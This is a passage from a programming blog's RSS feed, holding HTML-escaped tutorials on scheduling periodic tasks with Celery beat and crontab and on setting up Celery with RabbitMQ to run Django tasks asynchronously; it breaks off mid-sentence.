&lt;em&gt;add_periodic_task()&lt;/em&gt; method to tell it how often we want our task to be executed and then we will call the &lt;em&gt;s()&lt;/em&gt; method of the function we define.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;add_periodic_task&lt;/em&gt;() receives as first argument the interval in seconds that we want to elapse between each task and the second is our function executing the &lt;em&gt;s()&lt;/em&gt; method with its arguments.&lt;/p&gt;&#xA;&lt;p&gt;We define our function and decorate it with &lt;em&gt;@app.task&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;For our periodic scheduling to work, celery needs to be running beat.&lt;/p&gt;&#xA;&lt;h2 id=&#34;beat-in-celery&#34;&gt;beat in celery&lt;/h2&gt;&#xA;&lt;p&gt;What is Beat? Beat is one of your services that takes care of scheduled tasks. Beat is in charge of reading and sending the scheduled tasks to the celery workers that will execute them.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;celery &lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;A celeryApp beat &lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;l info&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/periodic-tasks-with-celery-and-django/images/CeleryBeatRabbitMQEsquema.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/periodic-tasks-with-celery-and-django/images/CeleryBeatRabbitMQEsquema.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Simplified diagram of celery beat operation&#34; width=&#34;1200&#34; height=&#34;630&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Celery Beat Schematic&lt;/p&gt;&#xA;&lt;p&gt;Since beat needs to transmit its tasks to a worker, it will be necessary to create one.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;celery &lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;A celeryApp worker &lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;l info&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now celery will make sure that an email is sent every 10 seconds (pure spam, I know).&lt;/p&gt;&#xA;&lt;p&gt;Once the celery services are running we will see how our function starts executing every 10 seconds.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/periodic-tasks-with-celery-and-django/images/EjecucionDeTareasPeriodicasCeleryBeat.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/periodic-tasks-with-celery-and-django/images/EjecucionDeTareasPeriodicasCeleryBeat.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Periodic tasks running on console&#34; width=&#34;1904&#34; height=&#34;929&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Celery tasks within 10 seconds of each other&lt;/p&gt;&#xA;&lt;h2 id=&#34;tasks-scheduled-with-crontab&#34;&gt;Tasks scheduled with crontab&lt;/h2&gt;&#xA;&lt;p&gt;What if instead of specifying an interval to execute the tasks we want them to be executed on a specific date, for example: every Sunday at 1:30 am.&lt;/p&gt;&#xA;&lt;p&gt;Instead of calculating the seconds we can create a more friendly format with the crontab utility provided by celery.&lt;/p&gt;&#xA;&lt;p&gt;Yes, you are correct, crontab shares the format with the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/linux/program-periodic-tasks-easily-in-linux-with-cron-and-crontab/&#34;&gt;crontab file used by the GNU/Linux cron daemon&lt;/a&gt;&#xA;, which I already talked about in a post.&lt;/p&gt;&#xA;&lt;p&gt;Crontab will ensure that the execution format is every Monday at 7:30 a.m.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# celeryApp/celery.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; celery.schedules &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; crontab&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@app.on_after_configure.connect&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;setup_periodic_tasks&lt;/span&gt;(sender, &lt;span style=&#34;color:#ff6ac1&#34;&gt;**&lt;/span&gt;kwargs):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    sender&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;add_periodic_task(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        crontab(hour&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;7&lt;/span&gt;, minute&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;30&lt;/span&gt;, day_of_week&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        send_my_email&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;s(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;subject&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;message&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;from@example.com&amp;#39;&lt;/span&gt;, [&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;to@example.com&amp;#39;&lt;/span&gt;]),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    )&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;You can see more details directly in the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://docs.celeryproject.org/en/stable/userguide/periodic-tasks.html&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Celery documentation&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;In addition to creating asynchronous tasks, celery also allows you to create periodic tasks, which are executed from time to time. This can be quite useful to give maintenance to the database from time to time, to send marketing or shopping cart recovery emails, perhaps even to empty the contents of some temporary cache in the database or any repetitive task where execution time is an important factor, that is, to improve the performance of a django application.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>How to use Django Framework asynchronously using Celery</title>
      <link>https://coffeebytes.dev/en/django/how-to-use-django-framework-asynchronously-using-celery/</link>
      <pubDate>Tue, 24 Aug 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/django/how-to-use-django-framework-asynchronously-using-celery/</guid>
      
      <category>django</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Celery, in combination with Django serve to solve a problem: the lack of asynchrony in our application. Sending an email, processing some file or responding to a third party service will keep our execution waiting for the task to finish and, as a consequence, our user waiting.&lt;/p&gt;&#xA;&lt;p&gt;Using celery is one of the things you can do to &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/how-to-scale-a-django-app-to-serve-one-million-users/&#34;&gt;improve the performance of a Django application&lt;/a&gt;&#xA;. And you can also create periodic tasks with celery and django.&lt;/p&gt;&#xA;&lt;p&gt;Look at this example view:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;from django.shortcuts import render&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;from django.http import JsonResponse&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;import &lt;span style=&#34;color:#ff5c57&#34;&gt;time&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;def slowResponseView&lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;request&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    time.sleep&lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;3&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; JsonResponse&lt;span style=&#34;color:#ff6ac1&#34;&gt;({&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;response&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;ok&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;})&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Notice how after accessing the url, &lt;strong&gt;the answer does not appear until after 3 seconds&lt;/strong&gt;. During that time our application is busy. That &lt;em&gt;time.sleep()&lt;/em&gt; that causes the delay could represent an email sending, the waiting time to an external API, a very computationally expensive calculation or any other task that requires a long time to be performed.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/how-to-use-django-framework-asynchronously-using-celery/images/slowResponseView-1.gif&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/how-to-use-django-framework-asynchronously-using-celery/images/slowResponseView-1.gif&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Time-consuming task delays server response&#34; width=&#34;1000&#34; height=&#34;327&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;The response to the url takes 3 seconds&lt;/p&gt;&#xA;&lt;p&gt;Celery solves our problem, it sends those tasks to a queue so that they can be executed later, asynchronously, and the code can continue its execution.&lt;/p&gt;&#xA;&lt;p&gt;That&amp;rsquo;s right, you&amp;rsquo;re probably thinking that celery has similarities with Javascript or Python&amp;rsquo;s async await. However celery is much more robust and with many more features, such as scheduling periodic tasks (as in &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/linux/program-periodic-tasks-easily-in-linux-with-cron-and-crontab/&#34;&gt;cron and crontab in GNU/Linux&lt;/a&gt;&#xA;) and also monitoring them, but let&amp;rsquo;s go by parts.&lt;/p&gt;&#xA;&lt;h2 id=&#34;installation-of-celery&#34;&gt;Installation of celery&lt;/h2&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s install celery for this example, version 5.1.2&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;celery==5.1.2&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;installing-rabbitmq&#34;&gt;Installing RabbitMQ&lt;/h2&gt;&#xA;&lt;p&gt;We will also need RabbitMQ, which will serve as an intermediary between django and celery sending messages and activating the workers of the latter to execute the tasks.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo apt install rabbitmq-server&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/how-to-use-django-framework-asynchronously-using-celery/images/RabbitMQEsquema.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/how-to-use-django-framework-asynchronously-using-celery/images/RabbitMQEsquema.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Basic schematic of RabbitMQ and Celery operation&#34; width=&#34;1200&#34; height=&#34;630&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Basic outline of RabbitMQ operation and cellery&lt;/p&gt;&#xA;&lt;p&gt;After the above, check that RabbitMQ is running with the command systemctl, update-rc, systemE or whatever your system process manager is.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo systemctl status rabbitmq-server&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;● rabbitmq-server.service - RabbitMQ Messaging Server&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   Loaded: loaded &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;/lib/systemd/system/rabbitmq-server.service; enabled; vendor preset: enabled&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   Active: active &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;running&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt; since Sat 2021-08-07 15:45:21 CDT; 1min 47s ago&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; Main PID: &lt;span style=&#34;color:#ff9f43&#34;&gt;27808&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;rabbitmq-server&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;When finished, RabbitMQ will be running in the background and celery will automatically detect it when running.&lt;/p&gt;&#xA;&lt;h2 id=&#34;celery-configuration&#34;&gt;Celery configuration&lt;/h2&gt;&#xA;&lt;p&gt;We are going to create a file called &lt;em&gt;celery.py&lt;/em&gt; at the same level as our configuration file.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;And we will place the following code:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# celeryApp/celery.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; os&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; celery &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Celery&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;os&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;environ&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;setdefault(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;DJANGO_SETTINGS_MODULE&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;celeryApp.settings&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;app &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Celery(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;celeryApp&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;app&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;config_from_object(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.conf:settings&amp;#39;&lt;/span&gt;, namespace&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;CELERY&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;app&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;autodiscover_tasks()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The top part is the imports, while at the bottom we create an environment variable that will store the address of the configuration file of our project. We name the app as &lt;em&gt;CeleryApp&lt;/em&gt;, to be able to refer to it later, we indicate it to take the configuration of our configuration file and to discover automatically the tasks of each one of the applications that appear in INSTALLED_APPS.&lt;/p&gt;&#xA;&lt;p&gt;This file that we have just created is an isolated file of our configuration, django will not load it automatically because it does not know it exists. We need it to load it when it runs, so a good place would be the &lt;em&gt;init&lt;/em&gt;_.py_ file in our project.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# celeryApp/__init__.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; .celery &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; app &lt;span style=&#34;color:#ff6ac1&#34;&gt;as&lt;/span&gt; celery_app&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;__all__ &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; (&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;celery_app&amp;#39;&lt;/span&gt;,)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If we now run celery we will see that it runs and connects to RabbitMQ&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;celery -A celeryApp worker -l info&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The &lt;em&gt;-A&lt;/em&gt; option, of App, tells celery the name of the application, i.e., the name we just assigned to it in the 